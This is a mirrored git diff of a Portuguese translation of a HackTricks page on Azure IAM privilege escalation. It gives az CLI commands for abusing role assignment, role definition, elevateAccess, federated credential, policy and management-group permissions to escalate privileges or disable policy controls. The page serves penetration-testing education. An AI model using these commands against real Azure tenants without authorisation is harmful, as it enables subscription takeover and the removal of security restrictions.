mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# Az - Azure IAM Privesc (Authorization)
|
||||
# Az - Azure IAM Privesc (Autorização)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,14 +12,14 @@ Para mais informações, consulte:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Esta permissão permite atribuir funções a principais sobre um escopo específico, permitindo que um atacante eleve privilégios ao se atribuir uma função mais privilegiada:
|
||||
Essa permissão permite atribuir roles a principals em um scope específico, permitindo que um attacker escale privilégios ao atribuir a si mesmo um role mais privilegiado:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Esta permissão permite modificar as permissões concedidas por um papel, permitindo que um atacante escale privilégios ao conceder mais permissões a um papel que ele tenha atribuído.
|
||||
Esta permissão permite modificar as permissões concedidas a uma função, permitindo que um attacker escale privilégios ao conceder mais permissões a uma função que ele já tenha atribuído.
|
||||
|
||||
Crie o arquivo `role.json` com o seguinte **conteúdo**:
|
||||
```json
|
||||
@@ -36,16 +36,16 @@ Crie o arquivo `role.json` com o seguinte **conteúdo**:
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
Então atualize as permissões de função com a definição anterior chamando:
|
||||
Em seguida, atualize as permissões do role com a definição anterior chamando:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Esta permissão permite elevar privilégios e ser capaz de atribuir permissões a qualquer principal para recursos do Azure. É destinada a ser concedida a Administradores Globais do Entra ID para que eles também possam gerenciar permissões sobre recursos do Azure.
|
||||
Esta permissão permite elevar privilégios e atribuir permissões a qualquer principal sobre recursos do Azure. Destina-se a ser concedida a Entra ID Global Administrators para que também possam gerenciar permissões sobre recursos do Azure.
|
||||
|
||||
> [!TIP]
|
||||
> Eu acho que o usuário precisa ser Administrador Global no Entra ID para que a chamada de elevação funcione.
|
||||
> Acho que o usuário precisa ser Global Administrator no Entra ID para que a chamada elevate funcione.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,7 +55,7 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Esta permissão permite adicionar credenciais federadas a identidades gerenciadas. Por exemplo, conceder acesso ao Github Actions em um repositório a uma identidade gerenciada. Em seguida, permite **acessar qualquer identidade gerenciada definida pelo usuário**.
|
||||
Esta permissão permite adicionar credenciais federadas a identidades gerenciadas. Ex.: conceder acesso do Github Actions em um repositório a uma identidade gerenciada. Depois, ela permite **acessar qualquer identidade gerenciada definida pelo usuário**.
|
||||
|
||||
Exemplo de comando para conceder acesso a um repositório no Github a uma identidade gerenciada:
|
||||
```bash
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Um atacante com a permissão `Microsoft.Authorization/policyAssignments/write` ou `Microsoft.Authorization/policyAssignments/delete` sobre um grupo de gerenciamento, assinatura ou grupo de recursos pode **modificar ou excluir atribuições do Azure Policy**, potencialmente **desabilitando restrições de segurança** que bloqueiam operações específicas.
|
||||
|
||||
Isso permite o acesso a recursos ou funcionalidades que anteriormente eram protegidos pela política.
|
||||
|
||||
**Excluir uma atribuição do Azure Policy:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Desabilitar uma atribuição de política:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Verifique as alterações:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
An attacker com a permissão `Microsoft.Authorization/policyDefinitions/write` pode **modificar definições de política do Azure**, alterando as regras que controlam as restrições de segurança em todo o ambiente.
|
||||
|
||||
Por exemplo, uma política que limita as regiões permitidas para criação de recursos pode ser modificada para permitir qualquer região, ou o efeito da política pode ser alterado para torná-la ineficaz.
|
||||
|
||||
**Modificar uma definição de política:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Verifique as alterações:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Um atacante com a permissão `Microsoft.Management/managementGroups/write` pode **modificar a estrutura hierárquica dos management groups** ou **criar novos management groups**, potencialmente evitando políticas restritivas aplicadas em níveis superiores.
|
||||
|
||||
Por exemplo, um atacante pode criar um novo management group sem políticas restritivas e então mover assinaturas para ele.
|
||||
|
||||
**Criar um novo management group:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Modificar uma hierarquia de management group:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Verifique as alterações:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Um atacante com a permissão `Microsoft.Management/managementGroups/subscriptions/write` pode **mover subscriptions entre management groups**, potencialmente **evitar políticas restritivas** movendo uma subscription para um grupo com políticas menos restritivas ou sem políticas.
|
||||
|
||||
**Mover uma subscription para um management group diferente:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Verifique as alterações:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user